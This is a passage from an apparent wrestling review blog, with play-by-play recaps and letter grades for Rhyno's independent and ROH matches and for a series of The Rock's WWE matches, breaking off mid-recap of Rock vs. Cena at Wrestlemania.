Brother Runt vs. Al Snow vs. Rhyno

Runt is Spike Dudley of course and is nearly bald. This is elimination rules and better not break 8 minutes. Spike hits a dive that is ok after some basic stuff. He plays the role of the pinball of course and I still wonder what Snow has to do with this. Snow hits the trapping headbutts on Rhyno. TNA guys are watching in the back. Why they’re here is beyond me because they’re not wrestling.

Acid Drop to Rhyno is blocked and this needs to end fast. We’re on the floor again and you actually can’t see due to the lighting. The referee goes down and Head drills Rhyno. Spike does the Eddie chair thing by slamming the mat with it and throwing it to Rhyno. He and Snow do the same thing so they’re all down. Oh my head hurts. Acid Drop ends Snow and then the Gore ends the whole thing.

Rating: D. I like Snow but this was just bad. There’s a reason these guys retired: THEY AREN’T THAT GOOD ANYMORE. Rhyno is ok at best and he’s the biggest star by far in this. At least he won I suppose, but this was just random with no point at all. Well at least it’s over and wasn’t that long.

Rhyno would be gone by the end of the year and hit the indies. One stop was JCW and Bloodymania V.

Rhyno vs. Kongo Kong

No countout or DQ. Apparently Kongo has lost over 90lbs since the video was made because he’s billed as 410lbs here and was said to be over 500lbs in the video. Kong is a savage or something close to one. Kong immediately clotheslines him down but Rhyno pops back up. Rhyno hits a decent belly to belly given how fat Kong is but Kong pops back up. Kong misses a charge and flips over the top rope to the floor in a surprising display of balance.

Rhyno dives onto Kong but loses a slugout on the floor. Back in and the fat man (Kongo if you’re not familiar with Rhyno, which makes me wonder why you’re reading this) pounds away and we get the required nerve hold. Rhyno Hulks Up and finally knocks Kong down with shoulders. The Gore hits….for two? I didn’t see that coming. A second Gore again only gets two but the third one hits the buckle, giving Kongo a rollup win out of nowhere.

Rating: D. Kong is a big guy but there’s nothing more to him than that. Also, why would you have a monster come off looking like he can only win on a fluke? Kicking out of two Gores was a nice surprise as the Gore is a very famous finisher. This was short which helped a bit but it didn’t work that well due to Kong being unable to do much.

The next stop was ROH and Rhyno fought at Border Wars 2012 as a mercenary.

Eddie Edwards vs. Rhyno

Before the match, Truth Martini says that Rhyno is a hired mercenary and the newest member of the House of Truth. We got that from the video we just saw. He’s here to clear the path to the world title for Michael Elgin and Roderick Strong by Goring everyone in his way. The fans are of course split because what would an ROH crowd be without annoying chants from the start of the show?

Edwards starts with a wristlock followed by an armdrag into an armbar as we seem to be in for a long match here. Rhyno powers him into the corner and pounds away before running Edwards over with a shoulder block. Edwards fights out of the corner with some chops and a rana to put Rhyno down, followed by a baseball slide to send Rhyno into the barricade. The cameraman goes down somewhere in there and Eddie is a bit stunned. Rhyno hits a HARD shoulder to the ribs in the corner and Edwards is in big trouble.

McGuinness starts talking about fast moving sperm and thankfully Kevin ignores him. Eddie comes back with a quick enziguri, only to be picked up and throws over the top and out to the floor with a loud THUD. Back in and Rhyno stays on the ribs in a smart move. The audio keeps slipping in and out. Off to a bearhug by Rhyno as at least he’s using psychology here. Rhyno loads up another gorilla press but Edwards escapes out and hooks a quick German suplex to put both guys down.

Eddie fires off some chops and superkicks the leg, followed by something close to a Shining Wizard for a close two. The fans are split again because this is REAL WRESTLING, where you cheer for the heels. Edwards avoids a charge to send Rhyno to the floor before hitting an Asai Moonsault, hurting his ribs again in the process. Back in and Edwards hits a missile dropkick for two but walks into a belly to belly suplex. The Gore is blocked with a dropkick and Truth Martini gets up on the apron. He holds up the Book of Truth (foreign object) in the corner but Rhyno has to stop before hitting it, allowing Edwards to roll him up for the pin.

Rating: C+. Nice basic match here with Edwards selling the ribs…..sometimes. He more or less stopped doing anything with them after they got back inside the ring but at least before that things were going well. Rhyno was his usual self here with nothing out of character for him at all. Then again, that’s probably a good thing for a guy like him. Edwards is still rather uninteresting though.

We’ll wrap it up there as there wasn’t much else in ROH for Rhyno and I really don’t want to go through his time in House of Hardcore and Extreme Rising. Rhyno has never been the top guy in a promotion, but he’s a great gatekeeper, meaning he’s a good feud for someone to have before they move onto something bigger. It’s similar to Kane in WWE. Rhyno is a big one dimensional at times, but he’s solid in that dimension.

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Wrestler of the Day – May 2: The Rock

Time for another one that needs no introduction. It’s the Rock.

 

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We’ll start with Rock returning to the company (again) and getting a title match against CM Punk, who had held the title 434 days coming into the match. From Royal Rumble 2013.

Raw World Title: The Rock vs. CM Punk

Punk of course has Heyman with him. He charges right into the brawl and actually pounds Rock down into the corner. A quick Rock Bottom is countered but Punk is sent outside. Rock follows him outside and sends the champion into the barricade before loading up the announce table. Punk comes back with a shot to the ribs and puts the table back together in a great bit. Back in and Rock scores with more right hands to knock Punk to the floor again.

Punk is whipped into the barricade one more time but he gets a boot up to stop a charging Bull. He finishes fixing the announce table instead of following up on Rock before dropping Rock ribs first on the barricade. They head inside again for a body vice from CM followed by a knee to the ribs for two. Off to a freaky looking hold where Punk pins Rock’s shoulders down but pulls back on his head to crank on the shoulders and back.

More choking follows and a knee to the back has Rock on the apron, followed by a springboard dropkick to send him outside. Punk tries a top rope ax handle to take Rock down but injures his knee in the process. Rock scores with some kicks to the knee but the champion easily sends him out to the floor to stop the comeback. Back in and Punk misses the springboard clothesline and reinjures the knee, giving Rock his opening.

A DDT gets one on Punk but he fights out of the Rock Bottom. The GTS is countered into a Sharpshooter attempt but Punk counters into the Anaconda Vice in a nice sequence. Rock rolls over into a cradle, forcing Punk to let go of the hold. Back up and tries the Rock Bottom but Punk counters into a rollup for two, only to be countered into a low seated Sharpshooter. Punk is next to the rope so naturally he takes thirty seconds to get the break.

Rock takes him to the floor and loads up the announce table again. They fight on top but Rock counters a GTS attempt into what was supposed to be a Rock Bottom but was really more like the table collapsing with Rock’s arm around Punk’s chest. Rock comes up holding his knee and both guys make it back in at an eight count. Punk scores with a high kick but both guys are down.

Back up and Rock wins a slugout before scoring with the spinebuster. He loads up the People’s Elbow and there go the lights. Cole can see Shield pulling Rock to the floor and powerbombing him through the table. The lights come back up and Rock is laid out as the referee has no idea what’s going on. The announcers try to tell Mike Chioda what happened and Punk feigns innocence.

He throws Rock back in for the pin and celebrates but here’s Vince to say Punk is stripped of the title for the interference. Rock says no and to restart the match. The bell rings again and Punk stomps away as JBL threatens to put Cole through a table for playing cheerleader. The Macho Elbow gets two but the GTS is countered into a spinebuster, setting up the People’s Elbow to end Punk’s reign.

Rating: B. It’s another good match but it felt like they were dancing around for twenty three minutes before we got to the obvious ending. The Shield stuff was a decent fake out but it really didn’t need to be there. Rock winning was obvious though and that really put a ceiling on how high this was going to get.

Rock’s first Wrestlemania main event was at Wrestlemania 15, where he was basically Vince’s avatar against Austin.

WWF World Title: Steve Austin vs. The Rock

Vince is guest referee due to the issues earlier tonight. Oh wait here’s Shawn Michaels, the Commissioner, to say that Vince isn’t referee and that it’s going to be a normal referee. The Corporation is barred from ringside as well. Rock is defending if that wasn’t really clear. The place of course goes INSANE for Austin, who for some reason is in an Austin t-shirt instead of the trademark vest. It’s a brawl to start as you would expect with Austin being knocked out to the floor and sent into the announce table. Apparently Vince does have the power to make this No DQ.

Back in for more punching by Rock but he gets backdropped up and over to the floor a second later. They brawl into the crowd where we can barely see them but it’s Philly so it has to be expected. Austin blasts the Rock in the back and they head back to ringside. Scratch that as they’re already going back into the crowd on the other side of the arena. Back to ringside again and Austin is choked with a cable for a bit.

Now they fight up the aisle with Austin hitting a fast clothesline. Austin loads up a piledriver on the concrete, only to be backdropped onto a light instead. Rock is thrown into some kind of equipment and they clothesline each other. Now it’s Rock being choked by a cable and then being thrown into the Wrestlemania XV sign, which wobbles in a scary sight. Rock suplexes Austin in the aisle and spits some water in his face at the announce table. Austin drops him face first onto the barricade before laying him on the announce table for an elbow drop which doesn’t break anything.

The second attempt at an elbow puts Rock through the table and we head back into the ring after about eight minutes of brawling. Wait Rock bails to the floor and wraps Austin’s bad knee around the post. They’re still not ready to stay in the ring as Austin sends Rock into the steps and stomps away a bit more. NOW we head back inside but Austin walks into the Rock Bottom for two. Rock brings in a chair but Austin takes it away and cracks the referee with it by mistake.

A Stunner is blocked and Rock elbows Austin down before laying him out with the chair. Another referee comes in for a two count off a chair shot to the head. Off to a chinlock for an understandably needed breather. Austin fights back up, only to be clotheslined right back down. Back to el chinlock but they fight up again, only for the referee to go down AGAIN. The Stunner hits but Earl Hebner runs down for a very close two. Here’s Vince again as Austin gets a fresh chair.

The distraction lets Rock hit Austin low to block a chair shot and Vince gets in as well. Vince drops Hebner and it’s a double team beatdown on Austin. Cue a hobbled Mick Foley to beat up Vince and count a fast two on Rock. The Thesz Press takes Rock down but Rock comes back with a clothesline and another Rock Bottom. Austin avoids the Elbow, fights out of another Rock Bottom, and Stuns his way to a third world title.

Rating: B-. This one really depends on your taste. They didn’t try to have a regular match here at all and maybe that was the right idea. It’s definitely the weakest of the Austin vs. Rock at Wrestlemania trilogy but Rock wasn’t ready to hang with Austin in a match like this year. The rematch at Backlash would be AWESOME to make up for this, but even this wasn’t bad. It’s very typical of the time, which doesn’t make it dull. This was definitely entertaining, but it’s certainly not for everyone.

We’ll jump ahead to 2004 for a match I somehow skipped on Orton’s entry in this series. From Wrestlemania XX.

Evolution vs. The Rock/Mick Foley

It’s Flair/Orton/Batista here and Orton is Intercontinental Champion. The brawl is on to start with Rock fighting the young guys and Flair getting punched by Foley. Evolution is knocked out to the floor until we start with Rock vs. Flair. Rock immediately elbows him down and does the Flair strut to send Naitch to the floor. A backdrop puts Flair down and they fight to the floor, only to have Ric get caught in another backdrop. Foley drops an elbow off the apron and Evolution is in trouble to start.

Foley wants to come in to face Orton but Randy immediately bails to the floor to great heat. We finally get inside for the fight that people want to see as Foley pounds away and puts Orton in the Tree of Woe. Off to Rock who punches Orton in the “stomach” before clotheslining him down for no cover. Ric gets clipped in the back of the head by Flair which draws him into the corner, sending the fight to the floor. Batista drops Rock face first onto the barricade to take over.

Back in and Batista pounds on Rock, dropping him down with an elbow for two. Flair comes in again to chop at Rock before going up with even Lawler making fun of Flair for it never working. Big Dave comes in again to pound on Rock but the Brahma Bull gets over to the corner to bring in Foley. Mick pounds away on Batista and punches him down in the corner, only to be taken down by Batista’s big running clothesline. Foley goes after Orton on the floor but Flair jumps him to stop the comeback.

As is his custom, Flair is sent knees first into the steps, causing some cringing pain. Back in and Orton drops knees on Foley’s head before it’s back to Flair for a hard chop. That’s all for Ric right now and it’s back to Orton for a reverse chinlock. Batista takes Orton’s place and pounds away with rights and lefts, only to be caught in a quick Mandible Claw. Batista escapes but gets caught in a swinging neckbreaker. That’s STILL not enough for the hot tag to Rock though, and the crowd continues to want it more and more. A quick right hand to Flair is enough for the tag to Rock though, and the reaction isn’t all that great.

Rock cleans house with everything he can but walks into a spinebuster by Batista. Instead of a cover though, we get the People’s Elbow from Naitch, complete with strut! The elbow doesn’t have a chance to be launched though as Rock nips up and pounds away on Flair with right hands. The spinebuster sets up the real Elbow with Rock strutting for two. Another tag brings in Orton who walks right into a Rock Bottom for two. The big clothesline puts Rock down and there’s the Batista Bomb for good measure.

That gets two for Randy but Rock drops him again, allowing for the tag to Foley and there’s the pop we were waiting for. Evolution is knocked down and there’s the double arm DDT to Orton. Mr. Socko returns but Orton SNAPS off an RKO for the pin out of nowhere. The look of shock on Orton’s face and Foley getting up and three and a half and looking around as if to say “what happened” are great touches.

Rating: B. Very solid match here with all five guys feeling it at Wrestlemania. The ending is perfect and makes Orton look all the better as he got the fall on a fresh Foley with the RKO out of nowhere. This led to a great match at Backlash which cemented Orton as a player. This was also Rock’s last match for seven and a half years. Great match though and well worth checking out for a lesson in how to give a perfect rub.

Here’s the match that should have main evented Wrestlemania XVI. From Backlash 2000.

WWF Title: The Rock vs. Triple H

HHH is champion, Vince is in his corner, Shane is guest referee, Stephanie is HOT in a little dark blue dress. Vince points out the card subject to change line in the program, which means that Austin isn’t here. Slugout to start and Rock knocks him down after a delay into the spit punch. Rock stomps him down in the corner but Shane drags him off. Brahma Bull charges at HHH but gets sent to the floor.

HHH sends him into the steps and then the announce table. Vince posts Rock and throws him back in as the odds are stacked very high already. That only gets two, as do the suplex and knee drop. HHH hooks on a long chinlock and puts his feet on the top rope. Shane has been leaving his eyes elsewhere of course. Rock finally gets up and drops HHH onto the buckle to escape. He fires off right hands and they clothesline each other.

Rock knocks him into the corner but Vince pops up with a belt shot to put him down for a very close two. Rock gets up and throws HHH to the floor where he may have hurt his arm. Back in the ring Rock hits a spinning DDT but Shane won’t count. Rock goes after Shane and they head to the floor where HHH gets in a shot to take over. Pedigree through the table is countered by a low blow but Shane doesn’t DQ him for some reason. Instead he gets up on the table too and it’s a DOUBLE ROCK BOTTOM through the table.

Both guys are half dead but Rock gets up first. There’s no referee, but it doesn’t really matter as Shane wouldn’t count a pin anyway. Vince gets in the ring with the guys and hits Rock in the back. That goes badly as you would expect because HHH gets back up and hits a Pedigree. Here are Patterson and Brisco to count but Rock kicks out. The Stooges pound on Rock and HHH gets in some shots too. His arm is clearly hurt.

Vince hits Rock in the head with a chair so hard that he falls down too. CUE GLASS SHATTER! Austin, to a MASSIVE pop, comes out with a chair and murders everyone in sight. Everyone is down so Austin leaves as Linda and the recently fired Earl Hebner come out. Stephanie gets shoved down and it’s a spinebuster and the People’s Elbow to give Rock the title back.

Rating: B+. Why this didn’t happen at Wrestlemania I’m not sure. Either way, it happened here and it was GREAT. This was the Attitude Era formula of throw EVERYTHING out there but give the fans what they want in the end. That makes the wild brawling ok and it gives Rock the title back, which is how it should be. Austin’s pop was incredible and thankfully for Rock’s time on top, Austin wouldn’t be back to action for about six more months.

Austin lost the title to both Undertaker and Kane in September 1998 and we needed a new champion. The solution was of course a tournament, with Rock in the finals at Survivor Series 1998.

WWF World Title: The Rock vs. Mankind

Vince and Shane are back and are talking with Boss Man backstage. Feeling out process to start as Lawler makes fun of Halloween Havoc going off the air earlier a few weeks prior to this. Rock gets two off a clothesline and they head to the floor quickly. Rock gets rammed into the steps and Mankind takes over. Back inside for a chinlock as the McMahons come out. JR is very annoyed at various things and he vents a bit as they come to the ring. A suplex gets Rock out of the hold and Mankind is sent outside.

Rock suplexes Mankind on the floor but he has to go after the McMahons a bit. Into the crowd we go with Rock in control. He backdrops Mankind back to ringside and we head into the ring for a Rock chinlock. Mankind fights back up and hits a Cactus Clothesline to take it back to the floor. A chair takes Rock down again and Mankind gets the steps, only to have them knocked down onto him. Rock pounds on the steps on Mankind with the chair before cracking Mankind over the head with the chair.

That gets two back in the ring but Mankind kicks Rock low to take over again. Rock is sent back to the floor for the elbow off the apron. Mankind starts taking the announce table apart as JR loses it even more. Mankind is heel for the most part coming in but he’s a sympathetic heel. A legdrop on the table mostly misses Rock but it gets two back inside. Off to the chinlock again and Rock’s comeback is cut short by a backdrop to the floor again.

Back in again and Rock hits a DDT to put both guys down. Mankind sends him to the floor AGAIN but a middle rope elbow to the floor sends the masked one through the announce table. The crash looked great if nothing else. We head back inside and the People’s Elbow gets two. A double arm DDT puts Rock down and here’s Socko. Rock hangs on in the Claw forever and comes out of it with a Rock Bottom but it only gets a delayed two. Rock puts on the Sharpshooter and Vince says ring the bell just like last year, giving Rock the title, because Rock is Corporate. He’s also the new champion.

Rating: C-. This definitely wasn’t their best performance with the constant going to the floor getting old fast. Mankind would have his day but it would take awhile to get there. This was all about the shock which shouldn’t be a shock when you think about it. All night it was assumed that Mankind was the Corporate guy, but let’s look at this.

Rock’s first match was against a corporate guy and he just happens to get the easiest pin ever. Then a corporate guy throws in a nightstick so Rock can beat another corporate guy. Then Rock wins by DQ, and now this. That’s establishing a story and giving clues instead of an illogical swerve. It’s easy to tell which is better as this is shocking, but also MAKES SENSE. This is what Russo was capable of, but we almost never got to see it.

While we’re at Survivor Series, let’s take a look at the 1996 edition where Rock made his WWF debut.

Team Hunter Hearst Helmsley vs. Team Marc Mero

Hunter Hearst Helmsley, Jerry Lawler, Goldust, Crush
Marc Mero, Jake Roberts, The Stalker, Rocky Maivia

I think you know everyone here. Stalker is Barry Windham as a kind of military guerrilla warfare character. This is Rocky’s debut, so who do you think the focus is going to be on? Lawler and Roberts are feuding as well. Mero has Sable with him here. Sunny immediately freaks out on JR for suggesting Sable is hotter. She yells about being natural while Sable is about to melt near the fireworks. Rocky’s outfit looks ridiculous with kind of a cape but made of streamers that goes over his chest as well. Apparently Roberts was a surprise partner and the replacement for Henry.

Jake comes out with the big yellow snake sans bag and chases the team off with it. Goldust and Mero get things going with Marc cranking on the arm. They both block hiptosses so Mero rolls him up for two. Off to Stalker who is now just a guy in camo pants and a WWF t-shirt. Back to Mero to fire off a bunch of hiptosses to Goldie who is a bit calmer than he was last year. Rollup gets two for Mero and it’s back to the arm. Stalker pounds away at Goldie’s ribs before it’s off to HHH. Off to Mero to face Crush as HHH wanted nothing to do with Wildman (Mero).

Mero grabs the arm and for you trivia guys out there, Rocky’s first official time in a WWF ring is against Crush. It lasts all of six seconds before it’s off to Lawler who is immediately punched, kicked in the face, and knocked to the floor. You know Lawler is going to go insane with the selling too. Lawler wants nothing to do with Rocky so it’s off to HHH. Vince explains that Rocky’s name is Dwayne Johnson and that he took the name of his father and grandfather to come up with Rocky Maivia.

In the first of many matches, HHH stomps away in the corner and JR is in football mode. Goldust comes in and drops an elbow followed by some rights to the head. Crush comes in and works on the back for a bit before it’s off to Lawler. Back to HHH as Sunny makes fun of Vince for allegedly having a toupee. Rocky pounds away and backdrops HHH before it’s off to Roberts.

Jake beats up everyone but tries to get to Lawler instead of going after the legal HHH. The shortarm clothesline takes HHH down but the DDT doesn’t work. Off to Lawler who makes fun of Roberts for being an alcoholic. Lawler keeps doing it and there’s the DDT for the first elimination. Goldust comes in next as JR makes fun of the lack of tan on Roberts. We hit the chinlock for a bit until jawbreaker gets Jake out of it. Off to Stalker as JR and Sunny talk about Barry wearing lucky boots. Crush hits Stalker in the back and the Curtain Call (reverse suplex drop) gets the pin for Goldust to tie things up.

Mero comes in immediately to hit a knee lift to take over. Goldie gets in a shot and HHH finally comes in to beat on the other captain. A backbreaker puts Mero down and it’s back to Crush. This is during Crush’s gang member phase and he couldn’t look more out of place with his partners at this point. A legdrop gets two for Crush and it’s off to Goldie. Back to Crush for another backbreaker for two. Things are slowing down a bit here.

HHH comes in again and puts on an abdominal stretch. He gets caught holding the ropes and hiptossed out as is his custom with referees. A sunset flip can’t get HHH down before he makes the tag to Goldust. HHH is back in about five seconds later and let’s look at Sunny! Ok I can’t complain about that one as much. Jake is pulled in sans tag, allowing Mero to hit a moonsault press on HHH for the elimination. That was a very messy sequence with all the tags with nothing happening between them and the non-tag to Jake. Either that or I missed a tag and Mero was totally illegal when he pinned HHH.

It’s Mero/Rocky/Roberts vs. Crush/HHH. Crush comes in next and is almost immediately dropkicked out to the floor. Mero loads up a dive but Goldust makes a save and shoves Crush out of the way. Back inside, Crush’s Heart Punch (exactly what it sounds like) pins Mero. We were looking at a replay when it happened though so that’s hearsay. Roberts comes in, misses the short clothesline and is Heart Punched out as well.

We’re left with Rocky (who actually gets a face chant in MSG at this point) vs. Goldust and Crush. He starts with the one not painted like an Academy Award and accepts a Test of Strength for some reason. A small package out of nowhere gets two for Maivia and here’s Goldust again. Rocky cross bodies Crush for no count as both bad guys are in the ring at once. Goldust hits Rocky low which isn’t illegal apparently but Crush Heart Punches Goldie. Cross body pins Crush and about thirty seconds later, a shoulder breaker (Rocky’s original finisher) gets the final pin.

Rating: C+. This dragged a bit in the middle, but it accomplished three goals: Roberts got to knock Lawler out cold, Mero got to pin HHH to continue their feud, and Rocky got to debut strongly. The problem is the rest of the match wasn’t much to see. Maivia winning over guys like Crush and Goldust is a good thing because it’s unrealistic to have him beat the IC Champion and beating Lawler doesn’t mean anything because Lawler is a career jobber in the WWF. Crush is a big imposing guy who is also a jobber, but at least he looks intimidating. Goldust has credentials too and a loss isn’t going to hurt him. Smart booking.

Wrestlemania XV’s main event wasn’t the best match in the world and a lot of people have chalked it up to Rock’s nerves. Here’s a rematch on a slightly smaller stage: In Your House 28.

WWF World Title: The Rock vs. Steve Austin

This is no holds barred with Shane McMahon as referee and Austin loses the title if he touches Shane. Rock, still in possession of the Smoking Skull belt, gets a big pop of his own but of course it pales in comparison to Austin’s. Austin pounds away in the corner to start as the fans are immediately into this. Rock comes back with right hands of his own as the Smoking Skull belt is taken to the back. Austin hits the Thesz Press and the middle finger elbow for one.

The champion gets sent to the floor and clotheslined down before they head up to the entrance. Austin tries a comeback but gets whipped through a fence, knocking part of the set over in the process. Rock’s suplex is countered into one of his own to give Austin the advantage again. Now it’s Rock being sent into the pile of the set and clotheslined down on top of it. Rock is whipped through a barricade and gets rammed in the head by a rolling anvil case for good measure.

The Corporate one comes back by sending Austin into a camera and clotheslining him down. We shift momentum again with Austin slamming rock down on the concrete and whipping him into the steps back at ringside. Back inside and Austin stomps away in the corner, only to be reprimanded by Shane. The distraction lets Rock charge at Austin and get backdropped up and over to the floor in a big crash. Austin loads up a piledriver through the Spanish announce table but gets countered into a Rock Bottom instead.

Both guys are down with Shane telling Rock how excellent that was. Rock gets on Spanish commentary and calls Austin trash (in English) as Shane throws him a chair. Austin kicks him in the ribs to block the shot and they head back into the crowd for another clothesline to the champion. A low blow keeps Austin in trouble and Rock lays him across the announce table before taking over a camera for more comedy. Rock looks out at the crowd but pans back to Austin flipping him off and hitting a Stunner through the announce table. Nice idea there.

Both guys are down at ringside as we get a replay of the Stunner, this time entirely from Rock’s perspective. Back inside and Austin tries another Stunner but Rock shoves him into Shane. There’s the Rock Bottom for a close two after Shane put Rock’s hand on Austin’s chest. Shane grabs the belt (the regular one, not the Smoking Skull) but accidentally hits Rock. Austin covers for two but Shane flips Austin off at two. Shane starts bailing up the aisle but here are Vince and another referee. Vince knocks Shane out with the Smoking Skull belt and Austin hits a Stunner and belt shot to Rock’s head to retain the title.

Rating: B+. This was a solid Attitude Era style brawl and the match that should have happened at Wrestlemania. The ending is more shades of gray than I prefer with Vince helping his mortal enemy to take out his new enemy. That’s just not something Vince would do, especially with what’s coming in the near future.

Here’s a match that doesn’t need an introduction. It’s the real main event of Wrestlemania XVIII.

Hollywood Hogan vs. The Rock

Both guys get solid pops as this is an old WWF city, which means Hogan could set fire to a kitten orphanage and still be popular. The pre match chants seem to favor Hulk, but here are some Rock fans to counter them. They stare at each other and there’s the loudest pop for an opening bell I can remember. Hogan shoves him down to start and the fans go NUTS. You can tell Hogan is feeling it here. After a quick headlock Hogan runs him over and poses, sending the crowd further into a frenzy.

A clothesline puts Rock down as the crowd is almost completely one sided. Rock comes back with a jumping clothesline and the fans boo him out of the freaking building. Rock says just bring it and knocks Hogan to the floor with some right hands. Back in and Rock loads up the Rock Bottom but Hogan escapes and elbows out of it. He rakes his boot over Rock’s eyes to another big pop. There’s another big HOGAN chant for good measure.

A belly to back suplex gets two for Hulk and there’s an abdominal stretch for good measure. Hulk even adds in a rollup for two before raking Rock’s back. Rock escapes and comes back with some chops in the corner but walks into a chokeslam of all things from Hulk. He sends Rock out to the floor as this is still almost one sided so far. Rock goes face first into the steps and dropped on the barricade for good measure.

Hogan starts loading up the announce table but Rock fights back with right hands. Rock gets a chair but the referee takes it away, allowing Hogan to clothesline Rock down. Back inside and Rock is sent into the referee. Rock comes back with a lame spinebuster and the Sharpshooter. Hulk makes the rope but there’s no referee. Rock pulls him to the middle of the ring but there’s still no referee.

The fans just lay into Rock now with the Rocky Sucks chants as he checks on the referee. Hogan hits him low though and gets a pretty freaking good Rock Bottom for two. Hogan takes off his weightlifting belt to whip Rock’s back but Rock comes back with a DDT. There’s the Rock Bottom but Hogan HULKS UP. The fans absolutely lose their minds now as Hogan shakes his finger and hits the big boot, but the legdrop only gets two. Another big boot hits but the second legdrop misses. There’s the Rock Bottom again and a third for good mesaure. Rock nips up and hits the People’s Elbow to end it.

Rating: B. This is a hard one to grade but I think it’s a lot like the Hogan vs. Warrior match in the same building: the crowd carries it to a much higher level than it deserves to be at which is just fine. The crowd was completely eating up the nostalgia and there’s nothing at all wrong with that. Hogan would get one of the longest ovations in history the next night in Montreal and those two reactions were enough to put the world title on him for a month soon after this. It wasn’t the best idea in the world, but given those reactions I can understand why they did it. This was a very fun match and should have been the main event.

Post match they stare each other down with Hogan holding his ribs. Hogan extends his hand and Rock gladly shakes it. Hulk lets Rock pose but here are the Outsiders. They yell at Hogan and beat him down, but Rock runs back in for the save. Hall and Nash are dispatched and Rock and Hogan stand tall, apparently having made up after Hogan HIT ROCK WITH A HAMMER AND CRUSHING HIM WITH A SEMITRUCK. Rock has Hogan pose for the fans after the match in another nostalgia moment.

If you’ve read my work over the years, you know I generally hate triple threat matches. Here’s one I like, from Vengeance 2002.

Undertaker vs. The Rock vs. Kurt Angle

Taker, defending here, wants to fight Rock but is afraid to actually do anything about it. Angle shoves both guys and wants to fight which earns him a double beatdown. Rock clotheslines him out to the floor, leaving himself all alone with Undertaker. Taker pounds Rock in the corner but Rock makes a quick comeback with right hands of his own. Angle is knocked off the apron and out to the floor but he pulls the champion out with him, sending Taker into the steps.

It’s Rock vs. Angle now and there’s a belly to belly for the Brahma Bull. Angle chops away in the corner and drops Rock with another suplex. A DDT gets two for Rock and Angle rolls to the floor. Rock goes out as well leaving only the referee in the ring. Undertaker pops up and takes Angle’s head off with a clothesline and heads back inside to pound on Rock. Angle is punched off the apron by Undertaker but the champion walks into a chokeslam from Rock (you read that right) for two.

Angle is back in now but gets taken down and put in the ankle lock by the other challenger. Kurt pops up and Rock Bottoms the Rock for two as Undertaker makes the save. Angle tries the Slam on Undertaker but Taker escapes and hits the Angle Slam on Kurt. Rock nips up and sends Angle to the floor before hitting the spinebuster and People’s Elbow on Taker. Kurt pulls Rock out of the ring again and gets two on Taker, only to be launched into the corner and pounded on by the champ.

Kurt fights back but misses a charge, going shoulder first into the post, sending him out to the floor. Undertaker sends him face first into the post for good measure but here’s Rock with a spit of water into Taker’s face to slow him down. The champ throws Rock over the announcer’s table but here’s a busted open Kurt to keep things moving. Taker slugs him down again though and drops a leg on the apron before heading back inside. Old School puts Angle down but Rock makes another save.

Rock still can’t get any extended offense on Undertaker though as the champion hits a running DDT for two. Angle grabs a chair but Taker punches him down. Kurt gets ping ponged back and forth between the other guy guys, only to have Rock hit Undertaker low to put him down. That plus a chair shot to the head put Undertaker down and Angle lays out Rock with the Slam as well. A slightly damaged referee counts two on each guy for Angle but there’s the Sharpshooter from Rock to Kurt.

Taker makes a quick save with a big boot to Rock’s face and hits the Last Ride powerbomb but Kurt breaks up the cover with the ankle lock. Undertaker finally rolls through to counter and we get the same sequence from the July 4th show with Angle countering the powerbomb into the choke. Angle gets his shoulder up and even another powerbomb can’t break the hold.

Undertaker doesn’t tap but his arm is lifted and dropped twice in a row. Rock makes the save but gets caught in the ankle lock but Rock rolls Angle up for two. There’s the chokeslam to Angle but Taker gets a Rock Bottom for two. Angle hits the Slam on Undertaker and takes down the straps but walks into the Rock Bottom for the pin and the title.

Rating: B. Sometimes the solution to the problems a wrestling company is having is to have a good wrestling match. Instead of the old and slow guys in the world title scene, this had two young guys who could move very well out there to bounce off Undertaker’s power moves. This is easily the best PPV title match so far this year other than maybe Rock vs. Jericho.

I know this was listed on Cena’s entry about nine days ago, but how can I leave this off?

And now, it is time.

We recap Rock vs. Cena which is at least a year in the making. Something like seven years ago Cena insulted Rock in an interview, so when Rock came back to be guest host last year, he insulted Cena in his return promo. The night after Wrestlemania, Cena had challenged Rock to a one on one match at THIS Wrestlemania. This led to a year of build (minus six months for Rock to make a movie of course) which got me to the point where I HAD to see this match. I didn’t know if it was going to be great, if it was going to suck, or somewhere in between, but I needed to see it. That’s never happened to me as a fan before.

Diddy comes out to bring out MGK (a rapper) to perform some song called Invincible. He does this stupid monologue about how Cena is a huge underdog in this, despite Cena being active having more experience overall than Rock. Cena is booed out of the building but gives something to an old lady who apparently is related to some Hall of Famer. We should be ready for Rock’s entrance, but first we need Flo-Rida to perform two songs. I remember SCREAMING to get to it at this point. Oh and Flo has a bunch of dancers with him, presumably the same girls who were in the Bridge Club ten minutes ago.

John Cena vs. The Rock

Rock’s ovation is thunderous. There’s really no other way to put it as it’s very clear who the fans are for here. During the big match intros, Cena is booed even further out of the stadium. They stare each other down and FINALLY the bell rings. Cena shoves him away to start and the dueling chants begin. They lock up again and this time Cena goes flying. Rock grabs a headlock before they fight over arm control.

A few armdrags put Cena down and a cradle gets a quick two for Cena. Cena has to make sure it wasn’t three as he looks a bit shaken. Back up and John leapfrogs over Rock before taking him down with a headlock takeover. They get up again and Rock tries a quick Sharpshooter but Cena bails to the floor. Rock decks him as he gets back in but Cena charges at him in the corner with a hard shoulder to the ribs. Cena gets a quick one count off a clothesline before putting on a bearhug on the mat.

Back up and Rock punches away but gets low bridged out to the floor. Cena drops him ribs first onto the barricade and announce table before going to the ring for a seat. When Rock won’t quit Cena throws him back inside and gets a two count. We’re definitely in another gear now. Off to a bearhug on Rock’s bad ribs but he won’t quit. Rock finally comes back with right hands to escape and a DDT for two.

Rock wins a quick slugout and hits the spinebuster but Cena picks the leg to break up the Elbow. Cena comes back with his finishing sequence but the AA is escaped. A double clothesline puts both guys down as they take a breather. After a few moments on the mat they slug it out with Cena punching Rock down to his knees. Rock fires off more punches and does You Can’t See Me before trying the spit punch, only to get caught in the AA for a close two.

Cena goes to pick Rock up but takes the Rock Bottom for two for the Brahma Bull. Rock stomps away in the corner but walks into a side slam for two. John goes up top for a very delayed top rope Fameasser for another near fall. Rock comes back with a spinebuster into the Sharpshooter but he doesn’t have it on well. Cena crawls to the rope so Rock lets go and pounds away. Back to the Sharpshooter (why don’t more people do that? Even if Cena won’t quit you can still do more damage) but Cena makes the rope immediately again. Gee maybe if he had pulled Cena from the rope it would have been harder to escape.

Rock fires off some elbows to the chest and sends Cena into the steps for good measure. Back inside and Cena tries a sunset flip of all things but immediately shifts into the STF in the middle of the ring. Cena drags him back to the middle of the ring and Rock is starting to fade. We get an old school arm check and Rock holds it up on the third drop. I love stuff like that. Rock makes it to the ropes and as they get back up, Cena walks into a Samoan drop to put both guys down.

